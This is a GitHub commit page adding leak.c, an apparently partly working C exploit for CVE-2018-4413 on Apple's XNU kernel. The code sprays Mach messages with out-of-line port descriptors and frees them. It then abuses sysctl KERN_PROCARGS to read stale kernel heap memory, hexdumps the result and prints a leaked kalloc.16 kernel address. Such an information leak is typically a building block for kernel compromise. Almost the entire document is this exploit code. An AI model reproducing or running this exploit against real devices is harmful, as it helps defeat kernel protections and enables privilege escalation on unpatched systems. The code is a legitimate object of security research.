Skip to content

Commit

Permalink
[stuff] half working leak
Browse files Browse the repository at this point in the history
  • Loading branch information
littlelailo committed Mar 5, 2019
1 parent b9c1bce commit 7e3e645
Showing 1 changed file with 159 additions and 0 deletions.
159 changes: 159 additions & 0 deletions stuff/CVE-2018-4413/leak.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
#include <mach/mach.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <errno.h>
#include <stdbool.h>

int main() {
retry:;

#define MY_PAGE_SIZE 0x1000
#define LEAK_MACH_MSG_SIZE (0x4000*3+MY_PAGE_SIZE)
#define PIPEBUFFER_SIZE MY_PAGE_SIZE
#define HOW_MANY_PIPEBUFFERS 3
#define LEAK_SIZE 0x200
int error;

// create the mach msg
typedef struct {
mach_msg_header_t head;
mach_msg_body_t body;
} spray_mach_msg_t;
spray_mach_msg_t * spray_msg = malloc(LEAK_MACH_MSG_SIZE);
memset(spray_msg,0,LEAK_MACH_MSG_SIZE);
spray_msg->head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
spray_msg->head.msgh_local_port = MACH_PORT_NULL;
spray_msg->head.msgh_size = (LEAK_MACH_MSG_SIZE-0xc0)/16*12 + sizeof(spray_mach_msg_t);

unsigned char * pattern = ((void*)spray_msg);
for (int i = sizeof(spray_mach_msg_t); i < LEAK_MACH_MSG_SIZE; i++) {
pattern[i] = i&0xff;
}
size_t descriptor_cnt = (LEAK_MACH_MSG_SIZE-0xc0)/16;
descriptor_cnt -= 829;
spray_msg->body.msgh_descriptor_count = descriptor_cnt;
mach_port_t * test_port = malloc(MY_PAGE_SIZE);
memset(test_port,0,MY_PAGE_SIZE);
for (int i = 0; i < descriptor_cnt; i++) {
/*
mach_msg_port_descriptor_t * desc = ((void*)spray_msg)+sizeof(spray_mach_msg_t)+i*sizeof(mach_msg_port_descriptor_t);
desc->name = MACH_PORT_NULL;
desc->disposition = MACH_MSG_TYPE_COPY_SEND;
desc->type = MACH_MSG_PORT_DESCRIPTOR;
*/
mach_msg_ool_ports_descriptor_t * desc = ((void*)spray_msg)+sizeof(spray_mach_msg_t)+i*sizeof(mach_msg_ool_ports_descriptor_t);
memset(desc,0,sizeof(mach_msg_ool_ports_descriptor_t));
desc->address = test_port;
desc->count = 0;
desc->disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
desc->type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
}
for (int i = descriptor_cnt-1; i < descriptor_cnt; i++) {
mach_msg_ool_ports_descriptor_t * desc = ((void*)spray_msg)+sizeof(spray_mach_msg_t)+i*sizeof(mach_msg_ool_ports_descriptor_t);
memset(desc,0,sizeof(mach_msg_ool_ports_descriptor_t));
desc->address = test_port;
desc->count = 2;
desc->disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
desc->type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
}

// perpare the buffer for the leak, we wanna be fast
unsigned char * leaked_kernel_mem = malloc(LEAK_SIZE);
memset(leaked_kernel_mem,0,LEAK_SIZE);

// create a port
mach_port_t msg_port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_port);
spray_msg->head.msgh_remote_port = msg_port;

// send mach msgs to the port
for (int i = 0; i < 5; i++) {
if((error = mach_msg(&spray_msg->head,MACH_SEND_MSG,spray_msg->head.msgh_size,0,0,0,0))) {
printf("mach_msg failed %d\n",error);
return 0;
}
}

// destroy the port which will free all the mach msgs
mach_port_destroy(mach_task_self(),msg_port);

spray_msg->head.msgh_size = LEAK_MACH_MSG_SIZE-MY_PAGE_SIZE;
spray_msg->head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_port);
spray_msg->head.msgh_remote_port = msg_port;

// send mach msgs to the port
for (int i = 0; i < 5; i++) {
if((error = mach_msg(&spray_msg->head,MACH_SEND_MSG,spray_msg->head.msgh_size,0,0,0,0))) {
printf("mach_msg failed %d\n",error);
}
}


for (int z = 0; z < 10; z++) {
// try to leak using the sysctl stuff
size_t oldlenp = LEAK_SIZE;
int mib[3];
mib[0] = CTL_KERN;
mib[1] = KERN_PROCARGS;
mib[2] = getpid();
if((error = sysctl(mib,3,leaked_kernel_mem,&oldlenp,NULL,0))) {
printf("sysctl failed %d %d\n",error,errno);
}
printf("Got:\n");
// check if we got something which looks like our mach msg back, if not, go back to `create a port`
for (int i = 0; i < LEAK_SIZE; i++) {
if (i % 0x10 == 0) {printf("\n");}
printf("%02x ",leaked_kernel_mem[i]);
}
printf("\n");
bool found = true;
#pragma pack(push,1)
struct right_leak {
char pad0[6];
unsigned char check0;
unsigned char check1;
char pad1[4];
uint64_t bae;
char pad2[2];
unsigned char check2;
unsigned char check3;
unsigned char check4;
};
#pragma pack(pop)
for (int row = 0; row < 27; row++) {
for (int colum = 0; colum < 16; colum++) {
if (colum < 6 && leaked_kernel_mem[row*16+colum] != 0) {
found = false;
}
if (colum == 6 && leaked_kernel_mem[row*16+colum] != 0x10) {
found = false;
}
if (colum == 7 && leaked_kernel_mem[row*16+colum] != 0x02) {
found = false;
}
if (colum > 7 && leaked_kernel_mem[row*16+colum] != 0x0) {
found = false;
}
}
}
if (found) {
struct right_leak * test_mem = leaked_kernel_mem + 26*16;
printf("Good so far\n");
if (test_mem->check0 != 0x10 || test_mem->check1 != 0x02 || test_mem->check2 != 0x10 || test_mem->check3 != 0x02 || test_mem->check4 != 0x02) {continue;} // not the right data
// TODO: pads must be zero we can verify that here
printf("kalloc.16 is @ %llx\n",test_mem->bae);
return 0;
}
}

mach_port_destroy(mach_task_self(),msg_port);
free(spray_msg);
free(leaked_kernel_mem);
goto retry;
return 0;
}

0 comments on commit 7e3e645

Please sign in to comment.